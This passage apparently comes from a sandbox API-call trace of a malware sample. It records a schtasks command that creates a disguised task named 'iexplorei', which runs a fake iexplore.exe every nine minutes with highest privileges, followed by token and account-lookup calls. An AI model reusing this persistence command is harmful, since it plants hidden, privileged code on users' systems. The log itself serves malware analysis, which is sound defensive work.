lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"iexplorei\" /sc MINUTE /mo 9 /tr \"'C:\\Users\\Default\\Recent\\iexplore.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0xcd8, dwThreadId=0xce0)) returned 1 [0153.073] CloseHandle (hObject=0x300) returned 1 [0153.073] CloseHandle (hObject=0x2fc) returned 1 [0153.074] free (_Block=0x2af240) [0153.074] DestroyEnvironmentBlock () returned 0x1 [0153.074] malloc (_Size=0x48) returned 0x2ad6d0 [0153.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x27c4ff20, dwHighDateTime=0x1d8a92a)) [0153.074] SetEvent (hEvent=0x1f0) returned 1 [0153.074] CloseHandle (hObject=0x1ec) returned 1 [0153.074] CloseHandle (hObject=0x2d4) returned 1 [0153.183] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0153.183] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0153.183] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0154.765] SetLastError (dwErrCode=0x0) [0154.765] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0154.765] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0154.765] SetLastError (dwErrCode=0x0) [0154.765] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0154.765] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0154.765] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0154.766] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0154.766] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0154.766] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0154.767] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0154.768] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0154.768] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0154.768] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0154.769] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0154.769] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0154.769] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0154.771] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0154.771] GetCurrentThread () returned 0xfffffffffffffffe [0154.771] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2ac) returned 1 [0154.771] malloc (_Size=0xd8) returned 0x2b90e0 [0154.771] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0154.772] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0154.772] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0154.772] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0154.772] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0154.772] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0154.772] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0154.773] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0154.773] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0154.773] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0154.773] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0154.773] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0154.773] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0154.774] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0154.774] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0154.774] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0154.774] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0154.774] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0154.774] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0154.775] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0154.775] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0154.775] malloc (_Size=0x18) returned 0x2af260 [0154.775] DuplicateTokenEx (in: hExistingToken=0x2ac, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x248) returned 1 [0154.775] malloc (_Size=0x48) returned 0x2ad6d0 [0154.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x28b56a00, dwHighDateTime=0x1d8a92a)) [0154.775] SetEvent (hEvent=0x1f0) returned 1 [0154.777] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0154.777] GetLastError () returned 0x7a [0154.777] malloc (_Size=0x2c) returned 0x2b8b10 [0154.778] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0154.778] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0154.778] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0154.778] malloc (_Size=0x1c) returned 0x2b86e0 [0154.778] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b86e0, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b86e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0154.778] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0154.778] malloc (_Size=0x18) returned 0x2af260 [0154.778] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0154.778] malloc (_Size=0x18) returned 0x2af240 [0154.778] malloc (_Size=0x18) returned 0x2af1a0 [0154.778] SysStringLen (param_1="S-1-") returned 0x4 [0154.781] SysStringLen (param_1="5") returned 0x1 [0154.781] memcpy (in: _Dst=0x1423c8, _Src=0x142518, _Size=0xa | out: _Dst=0x1423c8) returned 0x1423c8 [0154.781] memcpy (in: _Dst=0x1423d0, _Src=0x142578, _Size=0x4 | out: _Dst=0x1423d0) returned 0x1423d0 [0154.781] free (_Block=0x2af260) [0154.781] free (_Block=0x2af240) [0154.781] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0154.781] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0154.781] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0154.781] malloc (_Size=0x18) returned 0x2af240 [0154.781] malloc (_Size=0x18) returned 0x2af260 [0154.781] SysStringLen (param_1="S-1-5") returned 0x5 [0154.781] SysStringLen (param_1="-") returned 0x1 [0154.781] memcpy (in: _Dst=0x142578, _Src=0x1423c8, _Size=0xc | out: _Dst=0x142578) returned 0x142578 [0154.781] memcpy (in: _Dst=0x142582, _Src=0x142518, _Size=0x4 | out: _Dst=0x142582) returned 0x142582 [0154.781] free (_Block=0x2af1a0) [0154.781] free (_Block=0x2af240) [0154.781] malloc (_Size=0x18) returned 0x2af240 [0154.781] malloc (_Size=0x18) returned 0x2af1a0 [0154.781] SysStringLen (param_1="S-1-5-") returned 0x6 [0154.782] SysStringLen (param_1="21") returned 0x2 [0154.782] memcpy (in: _Dst=0x142518, _Src=0x142578, _Size=0xe | out: _Dst=0x142518) returned 0x142518 [0154.782] memcpy (in: _Dst=0x142524, _Src=0x1423c8, _Size=0x6 | out: _Dst=0x142524) returned 0x142524 [0154.782] free (_Block=0x2af260) [0154.782] free (_Block=0x2af240) [0154.782] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0154.782] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0154.782] malloc (_Size=0x18) returned 0x2af240 [0154.782] malloc (_Size=0x18) returned 0x2af260 [0154.782] SysStringLen (param_1="S-1-5-21") returned 0x8 [0154.782] SysStringLen (param_1="-") returned 0x1 [0154.782] memcpy (in: _Dst=0x1423c8, _Src=0x142518, _Size=0x12 | out: _Dst=0x1423c8) returned 0x1423c8 [0154.782] memcpy (in: _Dst=0x1423d8, _Src=0x142578, _Size=0x4 | out: _Dst=0x1423d8) returned 0x1423d8 [0154.782] free (_Block=0x2af1a0) [0154.782] free (_Block=0x2af240) [0154.782] malloc (_Size=0x18) returned 0x2af240 [0154.782] malloc (_Size=0x18) returned 0x2af1a0 [0154.782] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0154.782] SysStringLen (param_1="4219442223") returned 0xa [0154.782] memcpy (in: _Dst=0x117ea8, _Src=0x1423c8, _Size=0x14 | out: _Dst=0x117ea8) returned 0x117ea8 [0154.782] memcpy (in: _Dst=0x117eba, _Src=0x142518, _Size=0x16 | out: _Dst=0x117eba) returned 0x117eba [0154.783] free (_Block=0x2af260) [0154.783] free (_Block=0x2af240) [0154.783] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0154.783] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0154.783] malloc (_Size=0x18) returned 0x2af240 [0154.783] malloc (_Size=0x18) returned 0x2af260 [0154.783] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0154.783] SysStringLen (param_1="-") returned 0x1 [0154.783] memcpy (in: _Dst=0x117ef8, _Src=0x117ea8, _Size=0x28 | out: _Dst=0x117ef8) returned 0x117ef8 [0154.783] memcpy (in: _Dst=0x117f1e, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x117f1e) returned 0x117f1e [0154.783] free (_Block=0x2af1a0) [0154.783] free (_Block=0x2af240) [0154.783] malloc (_Size=0x18) returned 0x2af240 [0154.783] malloc (_Size=0x18) returned 0x2af1a0 [0154.783] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0154.783] SysStringLen (param_1="4223814209") returned 0xa [0154.783] memcpy (in: _Dst=0xd8d18, _Src=0x117ef8, _Size=0x2a | out: _Dst=0xd8d18) returned 0xd8d18 [0154.783] memcpy (in: _Dst=0xd8d40, _Src=0x1423c8, _Size=0x16 | out: _Dst=0xd8d40) returned 0xd8d40 [0154.783] free (_Block=0x2af260) [0154.783] free (_Block=0x2af240) [0154.783] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0154.783] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0154.784] malloc (_Size=0x18) returned 0x2af240 [0154.784] malloc (_Size=0x18) returned 0x2af260 [0154.784] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0154.784] SysStringLen (param_1="-") returned 0x1 [0154.784] memcpy (in: _Dst=0x12dc48, _Src=0xd8d18, _Size=0x3e | out: _Dst=0x12dc48) returned 0x12dc48 [0154.784] memcpy (in: _Dst=0x12dc84, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x12dc84) returned 0x12dc84 [0154.784] free (_Block=0x2af1a0) [0154.784] free (_Block=0x2af240) [0154.784] malloc (_Size=0x18) returned 0x2af240 [0154.784] malloc (_Size=0x18) returned 0x2af1a0 [0154.785] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0154.785] SysStringLen (param_1="3835049652") returned 0xa [0154.785] memcpy (in: _Dst=0xd8d18, _Src=0x12dc48, _Size=0x40 | out: _Dst=0xd8d18) returned 0xd8d18 [0154.785] memcpy (in: _Dst=0xd8d56, _Src=0x1423c8, _Size=0x16 | out: _Dst=0xd8d56) returned 0xd8d56 [0154.785] free (_Block=0x2af260) [0154.785] free (_Block=0x2af240) [0154.785] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0154.785] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0154.785] malloc (_Size=0x18) returned 0x2af240 [0154.785] malloc (_Size=0x18) returned 0x2af260 [0154.785] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0154.785] SysStringLen (param_1="-") returned 0x1 [0154.785] memcpy (in: _Dst=0x12dc48, _Src=0xd8d18, _Size=0x54 | out: _Dst=0x12dc48) returned 0x12dc48 [0154.785] memcpy (in: _Dst=0x12dc9a, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x12dc9a) returned 0x12dc9a [0154.785] free (_Block=0x2af1a0) [0154.785] free (_Block=0x2af240) [0154.785] malloc (_Size=0x18) returned 0x2af240 [0154.785] malloc (_Size=0x18) returned 0x2af1a0 [0154.785] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0154.785] SysStringLen (param_1="1000") returned 0x4 [0154.785] memcpy (in: _Dst=0xd8d18, _Src=0x12dc48, _Size=0x56 | out: _Dst=0xd8d18) returned 0xd8d18 [0154.786] memcpy (in: _Dst=0xd8d6c, _Src=0x1423c8, _Size=0xa | out: _Dst=0xd8d6c) returned 0xd8d6c [0154.786] free (_Block=0x2af260) [0154.786] free (_Block=0x2af240) [0154.786] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0154.786] malloc (_Size=0x5e) returned 0x2b0ad0 [0154.786] free (_Block=0x2af1a0) [0154.786] malloc (_Size=0x18) returned 0x2af1a0 [0154.786] free (_Block=0x2b0ad0) [0154.786] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0154.787] GetLastError () returned 0x7a [0154.787] malloc (_Size=0x14) returned 0x2af240 [0154.787] malloc (_Size=0x16) returned 0x2af260 [0154.787] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af240, cchName=0xe7ca84, ReferencedDomainName=0x2af260, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0154.788] malloc (_Size=0x18) returned 0x2af180 [0154.788] malloc (_Size=0x18) returned 0x2af280 [0154.788] free (_Block=0x2af240) [0154.788] free (_Block=0x2af260) [0154.789] free (_Block=0x2b86e0) [0154.789] free (_Block=0x2af280) [0154.789] free (_Block=0x2af180) [0154.789] free (_Block=0x2af1a0) [0154.789] free (_Block=0x2b8b10) [0154.789] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0154.789] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0154.789] GetLastError () returned 0x7a [0154.789] malloc (_Size=0x2c) returned 0x2b8b50 [0154.790] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0154.790] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0154.790] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0154.790] malloc (_Size=0x1c) returned 0x2b86e0 [0154.790] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b86e0, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b86e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0154.790] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0154.790] malloc (_Size=0x18) returned 0x2af1a0 [0154.790] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0154.790] malloc (_Size=0x18) returned 0x2af180 [0154.790] malloc (_Size=0x18) returned 0x2af280 [0154.790] SysStringLen (param_1="S-1-") returned 0x4 [0154.790] SysStringLen (param_1="5") returned 0x1 [0154.790] memcpy (in: _Dst=0x142518, _Src=0x142578, _Size=0xa | out: _Dst=0x142518) returned 0x142518 [0154.790] memcpy (in: _Dst=0x142520, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x142520) returned 0x142520 [0154.790] free (_Block=0x2af1a0) [0154.790] free (_Block=0x2af180) [0154.790] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0154.790] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0154.790] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0154.790] malloc (_Size=0x18) returned 0x2af180 [0154.791] malloc (_Size=0x18) returned 0x2af1a0 [0154.791] SysStringLen (param_1="S-1-5") returned 0x5 [0154.791] SysStringLen (param_1="-") returned 0x1 [0154.791] memcpy (in: _Dst=0x1423c8, _Src=0x142518, _Size=0xc | out: _Dst=0x1423c8) returned 0x1423c8 [0154.791] memcpy (in: _Dst=0x1423d2, _Src=0x142578, _Size=0x4 | out: _Dst=0x1423d2) returned 0x1423d2 [0154.791] free (_Block=0x2af280) [0154.791] free (_Block=0x2af180) [0154.791] malloc (_Size=0x18) returned 0x2af180 [0154.791] malloc (_Size=0x18) returned 0x2af280 [0154.791] SysStringLen (param_1="S-1-5-") returned 0x6 [0154.791] SysStringLen (param_1="21") returned 0x2 [0154.791] memcpy (in: _Dst=0x142578, _Src=0x1423c8, _Size=0xe | out: _Dst=0x142578) returned 0x142578 [0154.791] memcpy (in: _Dst=0x142584, _Src=0x142518, _Size=0x6 | out: _Dst=0x142584) returned 0x142584 [0154.791] free (_Block=0x2af1a0) [0154.791] free (_Block=0x2af180) [0154.791] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0154.792] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0154.792] malloc (_Size=0x18) returned 0x2af180 [0154.792] malloc (_Size=0x18) returned 0x2af1a0 [0154.792] SysStringLen (param_1="S-1-5-21") returned 0x8 [0154.792] SysStringLen (param_1="-") returned 0x1 [0154.792] memcpy (in: _Dst=0x142518, _Src=0x142578, _Size=0x12 | out: _Dst=0x142518) returned 0x142518 [0154.792] memcpy (in: _Dst=0x142528, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x142528) returned 0x142528 [0154.792] free (_Block=0x2af280) [0154.792] free (_Block=0x2af180) [0154.792] malloc (_Size=0x18) returned 0x2af180 [0154.792] malloc (_Size=0x18) returned 0x2af280 [0154.792] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0154.792] SysStringLen (param_1="4219442223") returned 0xa [0154.792] memcpy (in: _Dst=0x117ea8, _Src=0x142518, _Size=0x14 | out: _Dst=0x117ea8) returned 0x117ea8 [0154.792] memcpy (in: _Dst=0x117eba, _Src=0x142578, _Size=0x16 | out: _Dst=0x117eba) returned 0x117eba [0154.792] free (_Block=0x2af1a0) [0154.792] free (_Block=0x2af180) [0154.792] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0154.792] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0154.792] malloc (_Size=0x18) returned 0x2af180 [0154.793] malloc (_Size=0x18) returned 0x2af1a0 [0154.793] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0154.793] SysStringLen (param_1="-") returned 0x1 [0154.793] memcpy (in: _Dst=0x117ef8, _Src=0x117ea8, _Size=0x28 | out: _Dst=0x117ef8) returned 0x117ef8 [0154.793] memcpy (in: _Dst=0x117f1e, _Src=0x142518, _Size=0x4 | out: _Dst=0x117f1e) returned 0x117f1e [0154.793] free (_Block=0x2af280) [0154.793] free (_Block=0x2af180) [0154.793] malloc (_Size=0x18) returned 0x2af180 [0154.793] malloc (_Size=0x18) returned 0x2af280 [0154.793] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0154.793] SysStringLen (param_1="4223814209") returned 0xa [0154.793] memcpy (in: _Dst=0x12dc48, _Src=0x117ef8, _Size=0x2a | out: _Dst=0x12dc48) returned 0x12dc48 [0154.793] memcpy (in: _Dst=0x12dc70, _Src=0x142518, _Size=0x16 | out: _Dst=0x12dc70) returned 0x12dc70 [0154.793] free (_Block=0x2af1a0) 